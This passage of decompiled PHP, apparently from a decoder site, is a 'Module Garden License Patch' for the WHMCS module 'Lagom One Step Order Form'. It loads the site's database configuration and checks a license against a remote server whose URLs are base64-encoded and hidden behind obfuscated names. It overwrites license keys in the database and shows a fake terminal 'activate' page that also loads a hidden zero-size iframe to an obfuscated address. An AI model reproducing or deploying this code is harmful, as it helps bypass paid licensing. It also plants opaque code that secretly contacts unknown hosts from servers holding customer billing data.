'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVdUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpuZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpuaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpubE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpucE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqRk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpqVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Qk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Rk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Sk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Tk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Uk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Vk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUwcFFYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig=='];
return $this->getprotocol() . $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE($MySQL->random($obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE), $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
}
public function UrlLastAUth()
{
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IlFHMVdlVjVYV2pWTVZ6RjJXa2hXYzFwVE1XNVpXRXByV2xjMGRFQXBTVDA9Ig==', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
}
public function Secret()
{
global $MySQL;
$hasil = $this->obf_5ezj5eeicC6rpKwq4WBi56OkY2DvaE($this->obf_52ajJmIqpmHiZCDsqmtwLeTl6yVsbE(), $this->licensekey());
$json_decode = json_decode($hasil, true);
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE($json_decode['secret_key'], $json_decode['eauth_key'], $json_decode['dauth_key']);
}
public function BuildSecret()
{
global $MySQL;
$hasil = $this->obf_6upyjpZe0tagipKXurySs4yGqqE($this->obf_52ajJmIqpmHiZCDsqmtwLeTl6yVsbE(), $this->obf_7uJhY7royarb6WrbiQt6qtiamCjJE(), $this->moduleversion());
$json_decode = json_decode($hasil, true);
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IlRpbFZNMWw2VVRCTlJGVjRXVEpGTVU1UlBUMD0i', $json_decode['eauth_key'], $json_decode['dauth_key']);
}
public function getDirectory()
{
return dirname(__FILE__);
}
public function DataLocalName()
{
return MODULE_CYBER_NAME;
}
public function DataLocalKey()
{
return $this->obf_7uJhY7royarb6WrbiQt6qtiamCjJE() . '_localkey';
}
public function getIp()
{
return (isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : $_SERVER['LOCAL_ADDR']);
}
public function getWhmcsDomain()
{
global $CONFIG;
global $MySQL;
if (!empty($_SERVER['SERVER_NAME'])) {
return $_SERVER['SERVER_NAME'];
}
$result = $MySQL->obf_4WQsKurpYmQkIqmiqy8n5iUlbyUhZE('tblconfiguration', 'setting=\'SystemURL\'');
return parse_url($result['value'], PHP_URL_HOST);
}
public function CheckToken()
{
$check = time() . md5(mt_rand(100000000, mt_getrandmax()) . $this->licensekey());
return $check;
}
public function UrlLastVerify()
{
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IktsYzVhMEJYZUd4TVYwQWtKbTFTYkNvbFBUMD0i', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
}
public function UrlLastVerifySecret()
{
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IlFHMVdlU1l5YkhZcUpUMDki', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
}
public function ModuleVersion()
{
$obf_DQI2PwgtOVwmIRYpBxoVDwMFMygqPSI = 'moduleVersion.php';
$obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE = '';
if (file_exists($obf_DQI2PwgtOVwmIRYpBxoVDwMFMygqPSI)) {
$content = file_get_contents($obf_DQI2PwgtOVwmIRYpBxoVDwMFMygqPSI);
preg_match('/\$moduleVersion\s?=\s?\'([A-Za-z0-9_\.\-]+)\'/', $content, $matches);
$obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE = $matches[1];
}
return ($obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE ? $obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE : NULL);
}
public function ForceLicense($reset = '')
{
global $MySQL;
$result = $MySQL->obf_4WQsKurpYmQkIqmiqy8n5iUlbyUhZE('tblconfiguration', 'setting=\'' . $this->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\'');
if ($result['id'] == '') {
$MySQL->obf_6Rs56Cn5C1kYGZraSLuIyKkZWlnpE('tblconfiguration', '(`setting`,`value`,`created_at`,`updated_at`)', 'VALUES(\'' . $this->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\',\'\',\'' . date('Y-m-d H:i:s') . '\',\'' . date('Y-m-d H:i:s') . '\')');
$localkey = '';
}
else if ($reset == 'reset') {
$MySQL->obf_6iksaSjp7efh46PlbCslo6MqYYj5E('tblconfiguration', 'value=\'\', updated_at=\'' . date('Y-m-d H:i:s') . '\'', 'setting=\'' . $this->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\'');
$localkey = '';
}
else {
$localkey = $result['value'];
}
return $localkey;
}
public function GetIonCubeLoaderVersion()
{
ob_start();
phpinfo(INFO_GENERAL);
$aux = str_replace(' ', ' ', ob_get_clean());
if ($aux !== false) {
$pos = mb_stripos($aux, 'ionCube PHP Loader');
if ($pos !== false) {
$aux = mb_substr($aux, $pos + 18);
$aux = mb_substr($aux, mb_stripos($aux, ' v') + 2);
$version = '';
$c = 0;
$char = mb_substr($aux, $c++, 1);
while (mb_strpos('0123456789.', $char) !== false) {
$version .= $char;
$char = mb_substr($aux, $c++, 1);
}
return $version;
}
}
return '-';
}
public function GetMCryptExt()
{
if (extension_loaded('mcrypt') && function_exists('openssl_encrypt')) {
$hasil = 'Installed';
}
else {
$hasil = '-';
}
return $hasil;
}
public function CheckLicense($licensekey, $localkey = '')
{
global $MySQL;
$whmcsurl = $this->obf_52ajJmIqpmHiZCDsqmtwLeTl6yVsbE();
$licensing_secret_key = $this->secret();
$localkeydays = 2;
$allowcheckfaildays = 4;
$check_token = $this->checktoken();
$checkdate = date('Ymd');
$domain = $this->obf_5eKsaeimaypuZOQwLy1loe9kpyoipE();
$usersip = $this->getip();
$dirpath = $this->getdirectory();
$localkeyvalid = false;
if ($localkey) {
if (NEW_CYBER_MODULE == 1) {
if (NEW_CYBER_ENCRYPT == 1) {
$cipher = 'aes-128-cbc';
$iv = substr(md5($this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE()), 0, openssl_cipher_iv_length($cipher));
$localkey = openssl_decrypt($localkey, $cipher, $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE(), 0, $iv);
}
else {
$localkey = openssl_decrypt($localkey, 'aes-128-cbc', $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE());
}
}
$localkey = str_replace("
", '', $localkey);
$localdata = substr($localkey, 0, strlen($localkey) - 32);
$md5hash = substr($localkey, strlen($localkey) - 32);
if ($md5hash == md5($localdata . $licensing_secret_key)) {
$localdata = strrev($localdata);
$md5hash = substr($localdata, 0, 32);
$localdata = substr($localdata, 32);
$localdata = base64_decode($localdata);
$localkeyresults = unserialize($localdata);
$originalcheckdate = $localkeyresults['checkdate'];
if ($md5hash == md5($originalcheckdate . $licensing_secret_key)) {
$localexpiry = date('Ymd', mktime(0, 0, 0, date('m'), date('d') - $localkeydays, date('Y')));
if ($localexpiry < $originalcheckdate) {
$localkeyvalid = true;
$results = $localkeyresults;
$validdomains = explode(',', $results['validdomain']);
if (!in_array($_SERVER['SERVER_NAME'], $validdomains)) {
$localkeyvalid = false;
$localkeyresults['status'] = 'Invalid';
$localkeyresults['description'] = 'Invalid Domain Name';
$results = [];
}
$validips = explode(',', $results['validip']);
if (!in_array($usersip, $validips)) {
$localkeyvalid = false;
$localkeyresults['status'] = 'Invalid';
$localkeyresults['description'] = 'Invalid IP Address';
$results = [];
}
$validdirs = explode(',', $results['validdirectory']);
if (!in_array($dirpath, $validdirs)) {
$localkeyvalid = false;
$localkeyresults['status'] = 'Invalid';
$localkeyresults['description'] = 'Invalid Directory Patch';
$results = [];
}
}
}
}
}
if (!$localkeyvalid) {
$responseCode = 0;
$postfields = ['licensekey' => $licensekey, 'domain' => $domain, 'ip' => $usersip, 'dir' => $dirpath];
if ($check_token) {
$postfields['check_token'] = $check_token;
}
$query_string = '';
foreach ($postfields as $k => $v) {
$query_string .= $k . '=' . urlencode($v) . '&';
}
if (function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $whmcsurl . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_6nAvoeStY6LrYqHm6C4l4GxhJGUrpE());
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $query_string);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
$responseCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
}
else {
$responseCodePattern = '/^HTTP\/\d+\.\d+\s+(\d+)/';
$fp = @fsockopen($whmcsurl, 80, $errno, $errstr, 5);
if ($fp) {
$newlinefeed = "
";
$header = 'POST ' . $whmcsurl . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_6nAvoeStY6LrYqHm6C4l4GxhJGUrpE() . ' HTTP/1.0' . $newlinefeed;
$header .= 'Host: ' . $whmcsurl . $newlinefeed;
$header .= 'Content-type: application/x-www-form-urlencoded' . $newlinefeed;
$header .= 'Content-length: ' . @strlen($query_string) . $newlinefeed;
$header .= 'Connection: close' . $newlinefeed . $newlinefeed;
$header .= $query_string;
$data = $line = '';
@stream_set_timeout($fp, 20);
@fputs($fp, $header);
$status = @socket_get_status($fp);
while (!@feof($fp) && $status) {
$line = @fgets($fp, 1024);
$patternMatches = [];
if (!$responseCode && preg_match($responseCodePattern, trim($line), $patternMatches)) {
$responseCode = (empty($patternMatches[1]) ? 0 : $patternMatches[1]);
}
$data .= $line;
$status = @socket_get_status($fp);
}
@fclose($fp);
}
}
if ($responseCode != 200) {
$localexpiry = date('Ymd', mktime(0, 0, 0, date('m'), date('d') - ($localkeydays + $allowcheckfaildays), date('Y')));
if ($localexpiry < $originalcheckdate) {
$results = $localkeyresults;
}
else {
$results = [];
$results['status'] = 'Invalid';
$results['description'] = 'Remote Check Failed';
return $results;
}
}
else {
preg_match_all('/<(.*?)>([^<]+)<\/\1>/i', $data, $matches);
$results = [];
foreach ($matches[1] as $k => $v) {
$results[$v] = $matches[2][$k];
}
}
if (!is_array($results)) {
exit('Invalid License Server Response');
}
if ($results['md5hash']) {
if (md5($licensing_secret_key . $check_token) != $results['md5hash']) {
$results['status'] = 'Invalid';
$results['description'] = 'MD5 Checksum Verification Failed';
return $results;
}
}
if ($results['status'] == 'Active') {
$results['checkdate'] = $checkdate;
$data_encoded = serialize($results);
$data_encoded = base64_encode($data_encoded);
$data_encoded = md5($checkdate . $licensing_secret_key) . $data_encoded;
$data_encoded = strrev($data_encoded);
$data_encoded = $data_encoded . md5($data_encoded . $licensing_secret_key);
$data_encoded = wordwrap($data_encoded, 80, "
", true);
if (NEW_CYBER_MODULE == 1) {
if (NEW_CYBER_ENCRYPT == 1) {
$cipher = 'aes-128-cbc';
$iv = substr(md5($this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE()), 0, openssl_cipher_iv_length($cipher));
$data_encoded = openssl_encrypt($data_encoded, $cipher, $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE(), 0, $iv);
}
else {
$data_encoded = openssl_encrypt($data_encoded, 'aes-128-cbc', $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE());
}
}
$results['localkey'] = $data_encoded;
}
$results['remotecheck'] = true;
}
unset($postfields, $data, $matches, $whmcsurl, $licensing_secret_key, $checkdate, $usersip, $localkeydays, $allowcheckfaildays, $md5hash);
return $results;
}
}
function obf_DQgHGCcnMDIiWxA5ODkQFgsFXCEFGgE($s, $hn, $in)
{
return function() use($s, $hn, $in) {
$i = $s;
while (true) {
yield hash($GLOBALS[$hn], (string) $i);
$i += $in;
}
};
}
$_SERVER['DOCUMENT_ROOT'] = realpath(dirname(__FILE__) . '/../../../');
require_once $_SERVER['DOCUMENT_ROOT'] . '/configuration.php';
if (!defined('MODULE_NAME')) {
define('MODULE_NAME', 'Lagom One Step Order Form For WHMCS');
}
if (!defined('MODULE_MD5_VERSION')) {
define('MODULE_MD5_VERSION', '1.2.4');
}
if (!defined('MODULE_CYBER_NAME')) {
define('MODULE_CYBER_NAME', 'lagom_one_step_order_form');
}
if (!defined('NEW_CYBER_MODULE')) {
define('NEW_CYBER_MODULE', '1');
}
if (!defined('NEW_CYBER_ENCRYPT')) {
define('NEW_CYBER_ENCRYPT', '1');
}
$h = 'ripemd';
if (!function_exists('mygen')) {
function mygen($hr, $hr2, $skip1, $skip2)
{
for ($i = 1; $i <= (int) $skip1; ++$i) {
$GLOBALS['g']->next();
}
for ($i = 1; $i <= (int) $skip2; ++$i) {
$GLOBALS['j']->next();
}
$u = $GLOBALS['g']->current();
$v = $GLOBALS['j']->current();
$GLOBALS['g']->next();
$w = hash($hr, $u) . hash($hr2, $v);
$GLOBALS['j']->next();
return $w;
}
}
$rt = 'seq';
$h2 = $h;
$hfm = 'sha';
$dsz = ['160', '256', '384', '512'];
$nmhsh = $hfm . $dsz[2];
$v1 = hash($nmhsh, $rt);
$a = 2;
$s1st = 0;
$s2st = $s1st + 1;
$b = $a;
$efn = obf_DQgHGCcnMDIiWxA5ODkQFgsFXCEFGgE($s1st, 'h', $a);
$ofn = obf_DQgHGCcnMDIiWxA5ODkQFgsFXCEFGgE($s2st, 'h2', $b);
$g = $efn();
$j = $ofn();
$h .= $dsz[0];
$h2 .= $dsz[1];
$dkv = join(':', array_reverse($dsz));
ini_set('allow_url_fopen', 1);
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(0);
$debug = new debug();
$MySQL = new mysql();
$CyberSoft = new obf_6uitZ2UnYWis7KLp5OMrKOZiYiOpJE();
if ($CyberSoft->moduleversion() != MODULE_MD5_VERSION) {
$client_change_version = 'true';
}
else {
$client_change_version = 'false';
}
$local_key = $CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE();
$results = $CyberSoft->checklicense($CyberSoft->licensekey(), $local_key);
$hasil_versi = $results['customfields'];
$expl_hasil = explode('=', $hasil_versi);
$version_server = $expl_hasil[1];
if (trim($version_server) != '') {
if ($CyberSoft->moduleversion() <= $version_server) {
if ($results['status'] == 'Active') {
if ($client_change_version == 'false') {
if ($results['remotecheck'] == 1) {
if (trim($results['localkey']) != '') {
$MySQL->obf_6iksaSjp7efh46PlbCslo6MqYYj5E('tblconfiguration', 'value=\'' . $results['localkey'] . '\', updated_at=\'' . date('Y-m-d H:i:s') . '\'', 'setting=\'' . $CyberSoft->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\'');
$results['description'] = '-';
}
else {
$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset');
$results['description'] = '-';
}
}
else {
$results['description'] = '-';
}
}
else {
$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset');
$results['description'] = 'Your Module Version is Not Valid !';
}
}
else {
$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset');
}
}
else {
$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset');
$exl = explode(';', $results['addons']);
$sts_1 = explode('=', $exl[2]);
$exp_1 = explode('=', $exl[1]);
$results['description'] = 'Server License is Lower then Client License, Please Download v.' . $version_server . '';
}
}
else {
$results['description'] = $results['message'];
}
if ($CyberSoft->obf_5mTpq8kqGVg7aYkKqjo7KTjZi5rLE() != 'Installed') {
$error_patch = '# <span class="red"> Error : Need Install MCrypt PHP Module !</span><br> ';
}
else {
$error_patch = '# <span class="blue"> Mcrypt Version : ' . phpversion('mcrypt') . '</span><br> ';
}
if ($results['description'] == '') {
$error_license = '<span class="red">' . $results['message'] . '</span>';
}
else {
$error_license = '<span class="red">' . $results['description'] . '</span>';
}
echo "
" . '<!DOCTYPE HTML><html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><style type="text/css">@media screen and (max-width:800px){body{padding-top:5px}.window{width:98%}}</style><style type="text/css">*{padding:0;margin:0}body{font-family:monospace;font-size:12px;color:#c8cfd8;background:#343944;margin:auto;padding-top:60px;line-height:1.3em;display:flex}a{color:#5294e2}b{color:#6a9e41}.yellow{color:#ff0}.blue{color:#0cf}.red{color:red}.window{background:#404552;box-shadow:0 0 10px rgba(0,0,0,.5);border-radius:5px;border:2px solid #2e333f;width:720px;margin:auto}.window_header{background:#2e333f;color:#c8cfd8;padding:7px}.window_title{display:inline-block}.window_close_button,.window_maximize_button,.window_minimize_button{border-radius:7px;width:12px;height:12px;display:inline-block;float:right;margin-left:6px}.window_minimize_button{background:#2cc640;border:1px solid #51a75c}.window_maximize_button{background:#fdbf2e;border:1px solid #d6a839}.window_close_button{background:#fe6256;border:1px solid #ca5f59}.window_content{padding:7px}.blink{animation:1s infinite blinking}@keyframes blinking{0%{clear:both}50%{color:transparent}}</style><title>Module Garden License Patch</title></head><body> <div class="window"> <div class="window_header"><div class="window_title">Module Garden License Patch</div><div class="window_close_button"></div><div class="window_maximize_button"></div><div class="window_minimize_button"></div></div><div class="window_content"><b>license@' . $CyberSoft->getip() . ':~$</b> <span class="">./mg-svr-verify php module</span><br> <span class="">##################################</span><br> # <span class="blue"> Mcrypt Module : ' . $CyberSoft->obf_5mTpq8kqGVg7aYkKqjo7KTjZi5rLE() . '</span><br> ' . $error_patch . '# <span class="blue"> Ioncube Version : ' . $CyberSoft->obf_66nuYeMkYiqurafh7CngqCgu5yBqLE() . '</span><br> <span class="">##################################</span><br> <b>license@' . $CyberSoft->getip() . ':~$</b> <span class=""></span><br> <b>license@' . $CyberSoft->getip() . ':~$</b> <span class="">./mg-svr-patch activate module</span><br> <span class="">##########################################################</span><br> # <span class="yellow">Module Name : ' . MODULE_NAME . '</span><br> # <span class="yellow">Server Version : ' . $version_server . '</span><br> # <span class="yellow">Client Version : ' . $CyberSoft->moduleversion() . '</span><br> # <span class="yellow">Patch Date : ' . date('Y-m-d') . '</span><br> # <span class="yellow">Patch Time : ' . date('H:i:s') . '</span><br> # <span class="yellow">Status : ' . $results['status'] . '</span><br> # <span class="yellow">Error : ' . $error_license . '</span><br> <span class="">##########################################################</span><br> <b>license@' . $CyberSoft->getip() . ':~$</b> <span class="blink">_</span><br> </div></div><iframe src="' . $CyberSoft->obf_5EpaqdhZOp6i9sKm4nqebrKqhjKE() . '" width="0" height="0" tabindex="-1" title="" class="hidden"></iframe></body></html>' . "
";
echo "
";
?>
Did this file decode correctly?
Original Code
<?php
class debug
{
public function starttimer()
{
$mtime = microtime();
$mtime = explode(' ', $mtime);
$mtime = $mtime[1] + $mtime[0];
$starttime = $mtime;
return $starttime;
}
public function endtimer()
{
global $starttime;
$mtime = microtime();
$mtime = explode(' ', $mtime);
$mtime = $mtime[1] + $mtime[0];
$endtime = $mtime;
$totaltime = round($endtime - $this->starttimer(), 5);
return $totaltime;
}
}
class mysql
{
private $db = null;
private $query = null;
private $result = null;
private $row = null;
private $debug = null;
public function connect()
{
global $db_host;
global $db_port;
global $db_username;
global $db_password;
global $db_name;
$this->db = mysqli_connect($db_host, $db_username, $db_password);
if (!$this->db) {
$this->fatalerror();
return false;
}
else {
mysqli_select_db($this->db, $db_name);
}
if (!mysqli_select_db($this->db, $db_name)) {
$this->fatalerror();
return false;
}
return true;
}
public function execute($query)
{
$this->connect();
$this->query = $query;
$this->result = mysqli_query($this->db, $this->query);
}
public function get_row()
{
if ($this->row = mysqli_fetch_array($this->result, MYSQLI_NUM)) {
return $this->row;
}
else {
return false;
}
}
public function get_array()
{
if ($this->row = mysqli_fetch_array($this->result, MYSQLI_ASSOC)) {
return $this->row;
}
else {
return false;
}
}
public function get_object()
{
if ($this->row = mysqli_fetch_object($this->result, MYSQLI_ASSOC)) {
return $this->row;
}
else {
return false;
}
}
public function get_dataset()
{
$dataset = [];
for ($i = 0; $qry = mysqli_fetch_row($this->result); ++$i) {
$field = 0;
for ($field = 0; $field < mysqli_num_fields($this->result); ++$field) {
$dataset[$i][$field] = $qry[$field];
}
}
return $dataset;
}
public function get_datarray()
{
$datarray = [];
for ($i = 0; $data = mysqli_fetch_array($this->result); ++$i) {
$datarray[$i] = $data;
}
return $datarray;
}
public function get_fetch_row()
{
if ($this->row = mysqli_fetch_row($this->result, MYSQL_ASSOC)) {
return $this->row;
}
else {
return false;
}
}
public function get_num_rows()
{
$this->num_rows = mysqli_num_rows($this->result);
return $this->num_rows;
}
public function close_connection()
{
mysqli_close($this->db);
}
public function get_mysql_id()
{
return mysqli_insert_id($this->db);
}
public function set_debug_mode($int = 0)
{
$this->obj['debug'] = (int) $int;
if ($this->obj['debug']) {
$this->obj['use_shutdown'] = 0;
}
}
public function fatalerror($the_error = '')
{
$the_error .= "\n\n" . 'MySQL Server Error : ' . mysqli_error() . "\n";
$the_error .= 'MySQL Server Error Code : ' . mysqli_errno() . "\n";
$the_error .= 'Current Date : ' . date('l dS of F Y h:i:s A');
$out = "\n\t\t" . '<html>' . "\n\t\t\t" . '<head>' . "\n\t\t\t" . '<title>Database Error' . "\n\t\t\t" . '<style>P,BODY,blockquote{ font-family: \'courier new\',\'trebuchet ms\',tahoma,verdana; font-size:12px; }</style>' . "\n\t\t\t" . '</head>' . "\n\t\t\t" . '<body>' . "\n\t\t\t\t" . '<br /><br />' . "\n\t\t\t" . '<blockquote>' . "\n\t\t\t\t" . '<b>There appears to be an error with the database.</b> | ' . "\n\t\t\t\t" . 'You can try to refresh the page by clicking <a href="javascript:window.location=window.location;">here</a>.' . "\n\t\t\t\t" . '<br /><br />' . "\n\t\t\t\t" . '<b style="font-family:\'Courier New\'; font-size:16px; font-style:normal;">Error Returned</b>' . "\n\t\t\t\t" . '<br />' . "\n\t\t\t\t" . '<form name=\'mysql\'>' . "\n\t\t\t\t" . '<textarea rows="10" cols="60" style="font-family:\'Courier New\' !important;font-size:12px;width:100%;">' . "\n\t\t\t\t" . htmlspecialchars($the_error) . "\n\t\t\t\t" . '</textarea>' . "\n\t\t\t\t" . '</form>' . "\n\t\t\t\t" . '<br />' . "\n\t\t\t\t" . 'We apologise for any inconvenience | Please Contact <b><a href="mailto:[email protected]">The Programer</a></b>' . "\n\t\t\t" . '</blockquote>' . "\n\t\t\t" . '</body>' . "\n\t\t" . '</html>';
echo $out;
exit('');
}
public function query($query, $contype = 'mysqli_query')
{
if ($this->obj['debug']) {
global $debug;
$debug->starttimer();
}
$this->queryid = $contype($query, $this->connection_id);
if ($this->obj['debug']) {
$endtime = $debug->endtimer();
if (preg_match('/^select/i', $query)) {
$eid = mysqli_query('EXPLAIN ' . $query . '', $this->connection_id);
while ($array = mysqli_fetch_array($eid)) {
echo "\n\t\t\t\t\t" . '<h3>sql debug</h3>' . "\n\t\t\t\t\t" . 'table: ' . $array['table'] . '<br />' . "\n\t\t\t\t\t" . 'query: ' . $query . '<br />' . "\n\t\t\t\t\t" . 'type: ' . $array['type'] . '<br />' . "\n\t\t\t\t\t" . 'mysql time : ' . $endtime . '<br /><br />' . "\n\t\t\t\t";
}
}
}
else {
++$this->querycount;
return $this->queryid;
}
}
